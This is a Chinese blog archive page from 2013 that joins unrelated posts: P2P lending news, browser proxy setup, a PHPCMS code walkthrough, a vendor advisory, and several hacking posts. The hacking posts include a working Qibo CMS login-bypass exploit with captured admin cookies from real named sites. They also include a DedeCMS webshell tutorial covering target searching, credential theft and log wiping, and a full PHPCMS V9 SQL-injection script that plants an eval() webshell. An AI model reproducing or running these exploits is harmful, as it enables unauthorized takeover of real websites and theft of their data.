2013年4月16日星期二

众贷网满月死亡 P2P网贷业将现倒闭潮?


  近日消息,上线刚满月的网贷平台(P2P)众贷网宣称已经破产。这家注册资本有1000万元的网贷公司突然发布破产公告,公告强调“绝不会跑路”。

  网贷监管目前还处在空白期

  据了解,众贷网是3月初上线的互联网融资平台,总部设在海口市。众贷网定位为 “中小微企业融资平台”,同时也自称是“P2P网络金融服务平台”,提供多种贷款中介服务。公司法人代表为卢儒化,今年27岁。

  “作为众贷网的法人代表及股东,我真诚的向各位投资人道歉,非常感谢你们的支持,由于我们整个管理团队经验的缺失,造成了公司运营风险的发生,在开展业务的时候没有把控好风险这一关,如今给各位造成了无法挽回的损失。”

  实际上,众贷网的破产事件并不是个案,它的倒闭从一定程度上反映出网贷行业的混乱和高风险等一系列的行业问题。

  所谓网络贷款平台,也被称为“人人贷(P2P)”,是指在借贷环节中,由网络平台充当中介的角色。借贷双方在网络平台上自主发布信息,自主选择项目,基本不需要借贷双方线下见面,也无需抵押担保。平台公司则为借贷两方提供咨询、评估、协议管理、回款管理等服务,并相应收取服务费。

  人人贷CEO李欣贺认为,这次众贷网事件对行业有负面影响,不过众贷网属于比较小的网站,影响有限。现在这个行业比较简单,介入的公司较多。有些网站,以为搭个平台就可以开展业务。但实际上门槛还是比较多的,而且实际整个运作需要有一套风险控制体系,“具体而言包括贷前审核、贷中监控等。”往外放钱并不难,网站有很多申请人,但如何筛选和控制风险?“我们100个申请人,最后只有几个批复,批复率不到10%。”

  如今P2P网贷行业处于一个无人监管的状态,就连目前必须遵守的“民间借贷利率不得超过银行同期贷款基准利率四倍的限制”规定,也是逾越者众多。打开众多P2P网站会发现,很多投资标的的利率已经超过同期银行利率4倍。

  尽管如此,中央财经大学金融法研究所所长黄震对网贷行业的发展持乐观态度,“网贷小荷才露尖尖角,作为互联网金融大潮中一朵小浪花,难免带泥含沙。严格意义上的P2P网贷平台应可继续尝试,三无(准入门槛、行业标准、主管机构)状况也应该逐渐改变,但也不必立马纳入金融监管系统。”黄震建议,P2P网贷企业应该加强信息披露,接受媒体、投资者的监督。

  众贷网的倒闭不仅有其必然性,也给行业及投资人敲响了警钟。参与过3家P2P网贷公司创业的前业内高管王磊直言,“如果这些公司再这样玩下去,迟早会把自己玩死,根本不用市场来淘汰。”

  贷帮网CEO尹飞则认为,“尽管网贷行业如今的低门槛,与混乱状态与当年的团购业具有相似性,但是,在强劲需求的支撑下,P2P网贷行业的倒闭潮暂时也不会出现。”

齐博cms整站系统 配置不当导致任意用户登陆漏洞


漏洞作者: 牛奶坦克
提交时间: 2012-08-15
公开时间: 2012-09-29
漏洞类型: 未授权访问/权限绕过
简要描述:
齐博cms整站系统(原PHP168)配置不当导致任意用户登陆,比如cms管理员等。
详细说明:

还是由于UC_CENTER的问题,之前闹过UC_KEY变量为空时可以调用UC_CENTER中的相关用户API直接进行操作,今天下了一份V7版本的源码,在uc_config.php中发现UC_KEY被初始化了
define('UC_DBCONNECT', '0');
define('UC_KEY', 'fdsafd43'); //这里做了初始化
define('UC_API', 'http://v7.com/dz/uc_server');

Google了一把,发现很多站都可以用空的UC_KEY或默认的UC_KEY成功调用UC接口。
漏洞证明:
从官方成功案例中找到一个网站
$ php uc.php haidian.10000tc.com synlogin
[+] UC_KEY 'null' can use .
[*] EXP = do/api/uc.php?code=fca08oORxQ3xNG01MA1KO9cEPCcedNTThklj6RW2mzYoO9ReaVA4D6XZPJ06GSY0xrpCwNQD6YfusbP1nPJG0HsSB95BkMT6FcarqAVEamHr
$ php uc.php 0755456.com synlogin
[+] UC_KEY 'default' can use .
[*] EXP = do/api/uc.php?code=c788q%2Byp%2F4oC5rvSuzpCpuLHRIYu9VIR%2Bzl8pJ60hOX8xYAxKoBajYXvRFG72oAadPVjFlAy8n6565gMUXPZNeKBXSQP0SDBJ9JPvq4XkLf4
$ php uc.php www.zjxiaoyifeng.com synlogin
[+] UC_KEY 'default' can use .
[*] EXP = do/api/uc.php?code=7755%2FC0y9ZruP9op7MtO5lPx92MRfmUImcEf3ZmVIvDDjl8zpfKI%2FTEU6PwkKbW8QioWTD7nai2FaauVyAVTwICk6mrQwLvS6dsNawJyoPX5

看看是否set cookie
 $ curl -I "http://haidian.10000tc.com/do/api/uc.php?code=fca08oORxQ3xNG01MA1KO9cEPCcedNTThklj6RW2mzYoO9ReaVA4D6XZPJ06GSY0xrpCwNQD6YfusbP1nPJG0HsSB95BkMT6FcarqAVEamHr"
HTTP/1.0 200 OK
Date: Wed, 15 Aug 2012 06:23:32 GMT
Content-Type: text/html; charset=gb2312
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.8
Set-Cookie: USR=lju34nhv%090%091345011812%09http%3A%2F%2Fhaidian.10000tc.com%2Fdo%2Fapi%2Fuc.php%3Fcode%3Dfca08oORxQ3xNG01MA1KO9cEPCcedNTThklj6RW2mzYoO9ReaVA4D6XZPJ06GSY0xrpCwNQD6YfusbP1nPJG0HsSB95BkMT6FcarqAVEamHr; expires=Thu, 16-Aug-2012 06:23:32 GMT; path=/; domain=10000tc.com
Set-Cookie: choose_cityID=1; expires=Fri, 14-Sep-2012 06:23:32 GMT; path=/; domain=10000tc.com
Set-Cookie: zone_id=1; expires=Fri, 14-Sep-2012 06:23:32 GMT; path=/; domain=10000tc.com
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Set-Cookie: passport=1%09admin%09AFVdAg1SUwZVD1QDAFVdBwdXA1VRVAYAUAxXAFdUUlc%3D289d3139c3; expires=Thu, 16-Aug-2012 06:23:32 GMT; path=/; domain=10000tc.com
X-Cache: MISS from WT263CDN-21172
X-Cache-Lookup: MISS from WT263CDN-21172:80
Via: 1.0 WT263CDN-21172 (squid/3.0.STABLE20)
Connection: close


set了,在登陆网站试试

exp:

<?php
error_reporting(0);
$host = $argv[1];
$doing = $argv[2];if (empty($doing)) {
$doing = 'test';
$code = 'time=1577811661&action='.$doing;
} else {
$code = 'time=1577811661&uid=1&username=admin&action='.$doing;
}
$uc_key = array('null' => '', 'default' => 'fdsafd43');
foreach ($uc_key as $key => $value) {
$exp = 'do/api/uc.php?code='.urlencode(authcode($code, "ENCODE", $value));
$result = file_get_contents("http://$host/$exp");
if( $result == 1 || $result !== 'Authracation has expiried'){
echo "[+] UC_KEY '$key' can use .\r\n";
echo "[*] EXP = $exp \r\n";
}
}

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}}
修复方案:
安装的时候随即字符串重写。

配置SwitchySharp插件



1,安装好SwitchySharp插件后,Chrome地址栏右上角会有下图所示蓝色的小地球,左键– 点击小地球–选择 自动切换模式;
2,右键–点小地球–选项,chrome自动打开SwitchySharp插件的设置页面。点 配置新代理(也就是图片中的情景模式,这是Chrome下的Google自动翻译的,如果是正常的SwitchySharp中文版,则会显示为配置新代理字样) 按钮。
配置名称:随便取,比如 代理服务器
选择 手动配置 SOCKS 代理:127.0.0.1 端口:7070 选择  SOCKS v5
其他留空,点最下面的保存按钮。
3,点击切换规则,并设置切换规则
勾选 使用切换规则,点击新规则按钮,在URL模式中填写:*://*.google.com/*
模式类型 选择 通配符,使用刚才设置的连接。
勾选下面的 在线规则列表 和 自动代理兼容列表,
4,填入规则列表的网址:
http://autoproxy-gfwlist.googlecode.com/svn/trunk/gfwlist.txt
刷新时:15 Minutes,使用刚刚设置的 shtion代理。
特别说明:
请用户们务必添加新建规则为 googlecode.com 表单,因为googlecode.com域名下的列表网址http://autoproxy-gfwlist.googlecode.com/svn/trunk/gfwlist.txt
已被封,如果要更新它,必须在代理情况下方可更新,添加googlecode.com后就可实现更新此列表了。
5,最后点保存按钮,关闭chrome浏览器,重启chrome浏览器,就可以使用了。

DedeCMS V5.5 Final GetWebshell最新0day漏洞

题目:DedeCMS V5.5 Final GetWebshell最新0day漏洞
作者:hackest [H.S.T.]
来源:hackest's blog&《黑客X档案》

此文章已发表在《黑客X档案》2010年第4期杂志上
后经作者发布在博客上,如转载请务必保留此信息!


DedeCMS也就是织梦内容管理系统,目前最新版本已经发布到5.5正式版了。非常遗憾的是新版本又爆漏洞了,所以小黑特来骗点稿费糊口。这个漏洞允许恶意攻击者直接得到被攻击目标的Webshell,而且影响GBK、UTF-8两个版本,5.3是否受影响未曾测试。(郑重声明:漏洞非本人发现,工具亦非本人所写)利用过程十分简单,各位看观切待小黑一一道来。

打开浏览器,以关键字为“Power by DedeCMS”搜索就可以找到大量使用这个程序的网站,拖到页面底部看到有“Powered by DedeCms V55_GBK”或者“Powered by DedeCms V55_UTF8”的网站,就说明这个目标有可能被成功攻击。或者直接以带GBK或UTF8关键字搜索也可以找到可能被攻击的目标。


至于漏洞形成的具体过程就不哆嗦了,直接搬出大牛写的利用工具,有PHP版的,也有exe版的,为了方便广大菜鸟群众,就用exe的来说明一下如何利用这个漏洞进行攻击吧。

找好一个目标,其底部版本信息如图1。

点击在新窗口中浏览此图片

然后把利用工具dedeexp.exe放到C盘目录,然后打开命令提示符(即CMD.exe)。命令格式如图2。

点击在新窗口中浏览此图片

即是dedeexp.exe 目标域名 目标路径,成功攻击后如图3。

点击在新窗口中浏览此图片

提示一句话服务端已经成功生成到/data/cache/t.php,访问此页面一片空白,说明文件已经存在,用lanker的一句话PHP+ASP两用客户端连接成功,如图4。

点击在新窗口中浏览此图片

使用客户端的文件上传功能或文件创建功能都可以把大马弄到服务器上,如图5。

点击在新窗口中浏览此图片

通过查看该站数据库连接文件data/common.inc.php得到MySQL数据库连接密码,查阅数据库得到管理员账号密码,登录后台,发现官方已有补丁下载,如图6。

点击在新窗口中浏览此图片

更新完成后再测试发现漏洞已不能再成功利用,漏洞修复结束,如图7。

点击在新窗口中浏览此图片

然后清理下后台登录日志,删除Webshell,低调退场。

(文章中涉及到的工具dedeexp.exe、ASP+PHP两用Shell.Htm已经收录在光盘中)

工具下载:
http://www.hackest.cn/tools/ASP+PHP两用Shell.Htm
http://www.hackest.cn/tools/dedeexp.exe

PHPCMS V9 uc API SQL注入漏洞



PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。

所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。


漏洞分析:
1.未启用ucenter服务的情况下uc_key为空
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
public function deleteuser($get,$post) {
pc_base::load_app_func('global', 'admin');
pc_base::load_app_class('messagequeue', 'admin' , 0);
$ids = new_stripslashes($get['ids']);
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
SQL语句为
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)

利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
<?php
print_r('
---------------------------------------------------------------------------
PHPcms (v9 or Old Version) uc api sql injection 0day
by rayh4c#80sec.com
---------------------------------------------------------------------------
');

if ($argc<3) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to phpcms
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /
php '.$argv[0].' localhost /phpcms/ -p81
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
---------------------------------------------------------------------------
');
    die;
}

error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function send($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
 $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    $parts[1]=(int)$parts[1];
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
 }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i&lt;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=(int)str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}

if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    $ckey_length = 4;

    $key = md5($key ? $key : '');
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i &lt;= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i &lt; 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i &lt; $string_length; $i++) {         $a = ($a + 1) % 256;         $j = ($j + $box[$a]) % 256;         $tmp = $box[$a];         $box[$a] = $box[$j];         $box[$j] = $tmp;         $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));     }     if($operation == 'DECODE') {         if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() &gt; 0) &amp;&amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}

$SQL = "time=999999999999999999999999&amp;ids=1'&amp;action=deleteuser";
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"MySQL Errno") &gt; 0){
echo "[2] 发现存在SQL注入漏洞"."\n";
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
preg_match('/[A-Za-z]?[:]?[\/\x5c][^&lt;^&gt;]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
//print_r($matches);
if(!empty($matches)){
echo "[4] 得到web路径 " . $matches[0]."\n";
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
$SQL = "time=999999999999999999999999&amp;ids=1)";
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
$SQL.="&amp;action=deleteuser";
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"Access denied") &gt; 0){
echo "[-] MYSQL权限过低 禁止写入文件 :(";
die;
}
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
if(strpos($html,"phpinfo()") &gt; 0){
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it :)";
}
}else{
echo "[-]未取到web路径 :(";
}
}else{
echo "[*]不存在SQL注入漏洞"."\n";
}

?>

360协助PHPCMS修复V9版SQL注入漏洞

日前,360网站安全检测平台独家发现PHPCMSV9版“注入”漏洞,并将漏洞信息通报PHPCMS官方,协助其快速推出补丁。据360网站安全检测平台分析,此前所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。鉴于该漏洞影响严重,360已第一时间向网站安全检测用户发出告警邮件,360网站卫士也增加了防护规则。
  360网站安全检测平台服务网址:http://webscan.360.cn
  360独家发现的PHPCMSV9漏洞:http://bbs.webscan.360.cn/forum.php?mod=viewthread&tid=481
  PHPCMSV9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMSV9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMSV9搭建和维护。
  据360安全工程师分析,SQL注入漏洞存在于PHPCMSV9版本(包括GBK和UTF8版)的poster_click函数,攻击者可以控制HTTP_REFERER(header的一部分),将REFERER值直接带入数据库,而且不受magic_quotes_gpc()控制,这导致SQL注入漏洞的产生。

  图1:黑客可控制HTTP_REFERER语句实施SQL注入
  经过对PHPCMS官方DEMO站点的测试,利用漏洞,攻击者可以构造SQL语句对DEMO网站的MySQL数据库进行查询,并能够实施“拖库”,甚至将数据库所在服务器变为傀儡主机。

  图2:官方的DEMO站点测试结果

  图3:构造SQL语句查询网站的MySQL数据库版本,甚至可以导致网站数据库被拖库
  由于全部PHPCMSV9用户均受漏洞影响,360网站安全工程师强烈建议用户立刻下载PHPCMSV9官方于12月11日推出的全新升级程序。或者,用户也可以下载360网站安全检测提供的防护脚本,能够快速修复漏洞防御黑客攻击。
  PHPCMSV9官方安全更新:http://download.phpcms.cn/v9/9.0/patch/
  360网站安全检测防护脚本:http://webscan.360.cn/down/php360.zip
  关于360网站安全服务
  360为站长提供免费的网站安全解决方案,包括360网站安全检测平台和360网站卫士:
  360网站安全检测平台是国内首个集网站漏洞检测、网站挂马监控、网站篡改监控于一体的免费检测平台,拥有全面的网站漏洞库及蜜罐集群检测系统,能够第一时间协助网站检测修复漏洞;
  360网站卫士则为站长免费提供网站防火墙、DDOS保护、CC保护、智能DNS解析、盗链保护、页面压缩、缓存加速和永久在线等服务。
  关于奇虎360科技有限公司
  奇虎360(NYSEIHU)是中国第一大互联网安全服务提供商。按照用户数量计算,目前奇虎360是中国第三大互联网公司。作为“免费安全”的首创者,奇虎360为近4亿中国互联网用户提供领先的互联网和无线安全产品及服务,覆盖率近90%。奇虎360通过提供细致、完善的平台服务以及网络安全服务,以开放平台实现商业价值,与合作伙伴共同建立起多方共赢的互联网生态体系。

phpcms 的数据库类和phpcms 的文本缓存的实现 (转)



都是很简单的东西.大家看着我注释慢慢看吧.慢慢理解,最好能装了PHPCMS 在来看.因为这样可以看下它的数据库结构信息.可以帮助理解.

首先是数据库类,phpcms 的数据库 分mysql 和mssql 版本.  MSSQL 版本的我就不说了.  他们主要的sql语句不同点就在于我们分页常用到的 limit  语句.所以.在 mssql 数据库类驱动里.他做了个挺好的封装.让MYSQL和MSSQL在SQL语句方面的差异性就很小了.可以说PHPCMS你可以随便转换数据库只要在代码中换下数据库类驱动就行.

<?php
/**
mysql数据库类。写得比较简单。也没什么好说的。大家自己看下理解下。
然后就可以跳过了。
*/
defined('IN_PHPCMS') or exit('Access Denied');
/**
这个东西是不是很熟呀。对了。在上一章已经讲过了。也已经在上一章的common.inc.php 启动文件里面定义了  IN_PHPCMS   所以在以下的PHP文件里都检测下是否是人为”跳墙“进来的。是就中断
*/
/**
* Mysql 数据库类,支持Cache功能
*/
class db_mysql
{
/**
* MySQL 连接标识
* @var resource
*/
var $connid;
/**
* 整型变量用来计算被执行的sql语句数量
* @var int
*/
var $querynum = 0;
/**
* 数据库连接,返回数据库连接标识符
* @param string 数据库服务器主机
* @param string 数据库服务器帐号
* @param string 数据库服务器密码
* @param string 数据库名
* @param bool 是否保持持续连接,1为持续连接,0为非持续连接
* @return link_identifier
*/
function connect($dbhost, $dbuser, $dbpw, $dbname, $pconnect = 0)
{
  global $CONFIG;
  $func = $pconnect == 1 ? 'mysql_pconnect' : 'mysql_connect';
  /**
  mysql_pconnect()  为常连接。它和mysql_connect 的区别是 前者在多进程的WEB服务器上效率比较好。但也有瑕疵就是在有关事务和数据表锁方面。详情请查看自己的手册。
  */
  if(!$this->connid = @$func($dbhost, $dbuser, $dbpw))
  {
   $this->halt('Can not connect to MySQL server');
  }
  // 当mysql版本为4.1以上时,启用数据库字符集设置
  if($this->version() > '4.1' && $CONFIG['dbcharset'])
        {
   mysql_query("SET NAMES '".$CONFIG['dbcharset']."'" , $this->connid);
  }
  // 当mysql版本为5.0以上时,设置sql mode,mysql5数据库带了字符集模式。设置下就好
  if($this->version() > '5.0')
  {
   mysql_query("SET sql_mode=''" , $this->connid);
  }
  if($dbname)
  {
   if([email=!@mysql_select_db($dbname]!@mysql_select_db($dbname[/email] , $this->connid))
   {
    $this->halt('Cannot use database '.$dbname);
   }
  }
  return $this->connid;
}
/**
* 选择数据库
* @param string 数据库名
*/
function select_db($dbname)
{
  return mysql_select_db($dbname , $this->connid);
}
/**
* 执行sql语句
* @param string sql语句
* @param string 默认为空,可选值为 CACHE UNBUFFERED
* @param int Cache以秒为单位的生命周期
* @return resource
*/
function query($sql , $type = '' , $expires = 3600, $dbname = '')
{
  $func = $type == 'UNBUFFERED' ? 'mysql_unbuffered_query' : 'mysql_query';
  /**
  mysql_unbuffered_query 效率更好。节省内存 看手册
  */
  if(!($query = $func($sql , $this->connid)) && $type != 'SILENT')
  {
   $this->halt('MySQL Query Error', $sql);
  }
  $this->querynum++;
  return $query;
}
/**
* 执行sql语句,只得到一条记录
* @param string sql语句
* @param string 默认为空,可选值为 CACHE UNBUFFERED
* @param int Cache以秒为单位的生命周期
* @return array
*/
function get_one($sql, $type = '', $expires = 3600, $dbname = '')
{
  $query = $this->query($sql, $type, $expires, $dbname);
  $rs = $this->fetch_array($query);
  $this->free_result($query);
  return $rs ;
}
/**
* 从结果集中取得一行作为关联数组
* @param resource 数据库查询结果资源
* @param string 定义返回类型
* @return array
*/
function fetch_array($query, $result_type = MYSQL_ASSOC)
{
  return mysql_fetch_array($query, $result_type);
}
/**
* 取得前一次 MySQL 操作所影响的记录行数
* @return int
*/
function affected_rows()
{
  return mysql_affected_rows($this->connid);
}
/**
* 取得结果集中行的数目
* @return int
*/
function num_rows($query)
{
  return mysql_num_rows($query);
}
/**
* 返回结果集中字段的数目
* @return int
*/
function num_fields($query)
{
  return mysql_num_fields($query);
}
    /**
* @return array
*/
function result($query, $row)
{
  return @mysql_result($query, $row);
}
function free_result($query)
{
  return mysql_free_result($query);
}
/**
* 取得上一步 INSERT 操作产生的 ID
* @return int
*/
function insert_id()
{
  return mysql_insert_id($this->connid);
}
    /**
* @return array
*/
function fetch_row($query)
{
  return mysql_fetch_row($query);
}
    /**
* @return string
*/
function version()
{
  return mysql_get_server_info($this->connid);
}
function close()
{
  return mysql_close($this->connid);
}
    /**
* @return string
*/
function error()
{
  return @mysql_error($this->connid);
}
    /**
* @return int
*/
function errno()
{
  return intval(@mysql_errno($this->connid)) ;
}
/**
mysql_errno()  函数也挺好使的哦。自己试下
*/
    /**
* 显示mysql错误信息
*/
function halt($message = '', $sql = '')
{
  exit("MySQL Query:$sql <br> MySQL Error:".$this->error()."<br> MySQL Errno:".$this->errno()." <br>Message:$message");
}
}
?>
PHPCMS的文本缓存实现:
<?php
defined('IN_PHPCMS') or exit('Access Denied');
/**
这个文件里面全是有关生成文本缓存的函数。文本缓存是个好东西。一般的项目,我们用不着内存缓存 : memcached  ,文本搞定。
原理是这样的: 我们在后台是不是可以设置很多有关网站的参数。而这些参数很多都是固定的。就不变化的。都存到咱的数据库上。而我们程序那里呢
每次都要访问数据库读出参数来进行我们程序中的操作。首先数据库查询是个很耗硬盘IO资源的一个东西,所以文本缓存刚好能减轻数据库那边的承重。
我们在程序开始就把数据库里面的配置都转化为数组 等  放到  php文件里面。这样我们可以直接访问php文件而不用每次都访问数据库了。  php文本缓存其实成了
我们程序和数据库的一个中间件。 所以我们自己写自己的文本缓存的时候其实要实现的很简单:  读数据库  ->  写到PHP文件 ->  程序中include
来吧。开始文本缓存学习
*/
function cache_all()  //生成所有缓存的总操作函数
{
cache_table(); //生成所有的数据库表名,表名是根据数据库里面当前的表明而生成。请看这个函数的详细分析
require_once PHPCMS_CACHEDIR.'table.php'; //包含表常量
cache_common();
cache_member_group();
$modules = cache_module();
$channelids = cache_channel(0);
$keyids = array_merge($modules, $channelids);
foreach($keyids as $keyid)
{
  $catids = cache_categorys($keyid);
  if(is_array($catids))
  {
   foreach($catids as $catid)
   {
    cache_category($catid);
   }
  }
}
cache_type(0);
return TRUE;
}
function cache_common()
{
global $db;
$query = $db->query("SELECTmodule,name,iscore,iscopy,isshare,moduledir,moduledomain FROM".TABLE_MODULE." WHERE disabled=0"); //查询所有能用的模块
while($r = $db->fetch_array($query))
{
  $r['linkurl'] = '';
  if($r['module'] != 'phpcms' && $r['iscopy'] == 0)$r['linkurl'] = linkurl($r['moduledomain'] ?dir_path($r['moduledomain']) : $r['moduledir'].'/');
  //如果模块存在目录的就取它目录地址
  unset($r['moduledomain']);
  $key = $r['module'];
  $data[$key] = $r;
}
$CACHE['module'] = $data; //存到缓存数组,等一下一起把 $CACHE 数组写到文本里去
$data = array();
$query = $db->query("SELECTchannelid,module,channelname,channeldir,channeldomain,channelpic,introduce,style,islink,linkurl,cat_html_urlruleid,item_html_urlruleid,special_html_urlruleid,cat_php_urlruleid,item_php_urlruleid,special_php_urlruleidFROM ".TABLE_CHANNEL." WHERE disabled=0 ORDER by listorder");//罗列能用的频道列表
while($r = $db->fetch_array($query))
{
  $r['linkurl'] = linkurl($r['linkurl']);
  $key = $r['channelid'];
  $data[$key] = $r;
}
$CACHE['channel'] = $data; //存到缓存数组
$data = array();
    $r = $db->get_one("SELECT setting FROM ".TABLE_MODULE." WHERE module='phpcms'");
$CACHE['phpcms'] = unserialize($r['setting']);
//查询 phpcms这个模块的设置信息,大家可以看下数据库这个表内容。setting 字段里面的信息是经过serialize 函数窜行化的。
